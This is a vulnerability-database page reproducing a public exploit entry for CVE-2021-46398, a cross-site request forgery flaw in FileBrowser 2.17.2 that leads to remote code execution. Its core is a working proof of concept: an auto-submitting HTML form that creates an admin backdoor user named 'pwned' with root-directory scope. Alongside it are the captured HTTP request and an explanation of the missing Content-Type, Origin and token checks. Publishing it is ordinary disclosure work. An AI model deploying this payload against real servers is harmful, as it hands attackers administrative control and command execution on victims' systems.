FileBrowser 2.17.2 Code Execution / Cross Site Request Forgery

🗓️ 08 Feb 2022 00:00:00Reported by Febin Mon SajiType

packetstorm🔗 packetstormsecurity.com👁 261 Views

FileBrowser 2.17.2 CSRF allows creation of admin backdoor user leading to RC

Reporter	Title	Published	Views	Family All 16
0day.today	FileBrowser 2.17.2 - Cross Site Request Forgery to Remote Code Execution Vulnerability	8 Feb 202200:00	–	zdt
GithubExploit	Exploit for Cross-Site Request Forgery (CSRF) in Filebrowser	3 Jan 202309:49	–	githubexploit
GithubExploit	Exploit for Cross-Site Request Forgery (CSRF) in Filebrowser	22 Mar 202217:35	–	githubexploit
Circl	CVE-2021-46398	4 Feb 202218:30	–	circl
CNNVD	FileBrowser 跨站请求伪造漏洞	4 Feb 202200:00	–	cnnvd
CNVD	FileBrowser Cross-Site Request Forgery Vulnerability	21 Feb 202200:00	–	cnvd
CVE	CVE-2021-46398	4 Feb 202215:05	–	cve
Cvelist	CVE-2021-46398	4 Feb 202215:05	–	cvelist
Exploit DB	FileBrowser 2.17.2 - Cross Site Request Forgery (CSRF) to Remote Code Execution (RCE)	8 Feb 202200:00	–	exploitdb
EUVD	EUVD-2022-0876	3 Oct 202520:07	–	euvd

`# Exploit Title: FileBrowser 2.17.2 - Cross Site Request Forgery (CSRF) to Remote Code Execution (RCE)  
# Date: 5/2/2022  
# Exploit Author: FEBIN MON SAJI  
# Vendor Homepage: https://filebrowser.org/  
# Software Link: https://github.com/filebrowser/filebrowser  
# Version: FileBrowser <= 2.17.2  
# Tested on: Ubuntu 20.04  
# CVE : CVE-2021-46398  
  
1. Description:  
  
A Cross-Site Request Forgery vulnerability exists in Filebrowser < 2.18.0 that allows attackers to create a backdoor user with admin privilege and get access to the filesystem via a malicious HTML webpage that is sent to the victim. An admin can run commands using the FileBrowser and hence it leads to RCE.  
  
2. Proof Of Concept:  
  
<html>  
<script>   
setTimeout(function() {document.forms["exploit"].submit();}, 3000);  
</script>  
<body style="text-align:center;">  
<h1> FileBrowser CSRF PoC by Febin </h1>  
  
<!-- This create a admin privileged backdoor user named "pwned" with password "pwned" -->  
  
<!-- Change the URL in the form action -->  
  
<form action="http://127.0.0.1:8080/api/users" method="POST" enctype="text/plain" name="exploit">  
  
<!-- Change the "scope" parameter in the payload as your choice -->  
  
<input type="hidden" name='{"what":"user","which":[],"data":{"scope":"../../../../root/","locale":"en","viewMode":"mosaic","singleClick":false,"sorting":{"by":"","asc":false},"perm":{"admin":true,"execute":true,"create":true,"rename":true,"modify":true,"delete":true,"share":true,"download":true},"commands":[],"hideDotfiles":false,"username":"pwned","password":"","rules":[{"allow":true,"path":"../","regex":false,"regexp":{"raw":""}}],"lockPassword":false,"id":0,"password":"pwned"}}' value='test'>  
  
</form>  
  
</body>  
  
</html>  
  
  
  
3. HTTP request intercept:  
  
POST /api/users HTTP/1.1  
Host: 127.0.0.1:8081  
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:91.0) Gecko/20100101 Firefox/91.0  
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8  
Accept-Language: en-US,en;q=0.5  
Accept-Encoding: gzip, deflate  
Content-Type: text/plain  
Content-Length: 465  
Connection: close  
Cookie: auth=eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VyIjp7ImlkIjoxLCJsb2NhbGUiOiJlbiIsInZpZXdNb2RlIjoibW9zYWljIiwic2luZ2xlQ2xpY2siOmZhbHNlLCJwZXJtIjp7ImFkbWluIjp0cnVlLCJleGVjdXRlIjp0cnVlLCJjcmVhdGUiOnRydWUsInJlbmFtZSI6dHJ1ZSwibW9kaWZ5Ijp0cnVlLCJkZWxldGUiOnRydWUsInNoYXJlIjp0cnVlLCJkb3dubG9hZCI6dHJ1ZX0sImNvbW1hbmRzIjpbXSwibG9ja1Bhc3N3b3JkIjpmYWxzZSwiaGlkZURvdGZpbGVzIjpmYWxzZX0sImV4cCI6MTY0NDA4OTE3MiwiaWF0IjoxNjQ0MDgxOTcyLCJpc3MiOiJGaWxlIEJyb3dzZXIifQ.hdFWg3SIQQ-4P8K48yru-152NGItZPKau6EBL6m8RJE  
Upgrade-Insecure-Requests: 1  
Sec-Fetch-Dest: document  
Sec-Fetch-Mode: navigate  
Sec-Fetch-Site: cross-site  
Sec-GPC: 1  
  
{"what":"user","which":[],"data":{"scope":"../../../../root/","locale":"en","viewMode":"mosaic","singleClick":false,"sorting":{"by":"","asc":false},"perm":{"admin":true,"execute":true,"create":true,"rename":true,"modify":true,"delete":true,"share":true,"download":true},"commands":[],"hideDotfiles":false,"username":"pwned","password":"","rules":[{"allow":true,"path":"../","regex":false,"regexp":{"raw":""}}],"lockPassword":false,"id":0,"password":"pwned"}}=test  
  
  
4. References:  
  
https://febin0x4e4a.wordpress.com/2022/01/19/critical-csrf-in-filebrowser/  
https://febin0x4e4a.blogspot.com/2022/01/critical-csrf-in-filebrowser.html  
https://systemweakness.com/critical-csrf-to-rce-in-filebrowser-865a3c34b8e7  
  
  
  
5. Detailed Description:  
  
The Vulnerability - CSRF to RCE  
  
FileBrowser is a popular file manager/file managing interface developed in the Go language. Admin can create multiple users, even another Admin privileged user, and give access to any directory he wants, the user creation is handled by an endpoint “/api/users”.  
  
The endpoint accepts input in JSON format to create users, but fails to verify that the “Content-Type” HTTP header, the Content-Type header’s value should be “application/json” but it accepts “text/plain” and that’s where the vulnerability arises. Also, the “Origin” is not validated and there are no anti-CSRF tokens implemented either.  
  
Hence an attacker can easily exploit this vulnerability to create a backdoor user with admin privileges and access to the home directory or whichever directory the attacker wants to access, just by sending a malicious webpage URL to the legitimate admin and access the whole filesystem of the victim.  
  
And an admin can run commands on the system, so this vulnerability leads to an RCE.  
`

08 Feb 2022 00:00Current

8.8High risk

Vulners AI Score8.8

EPSS0.1035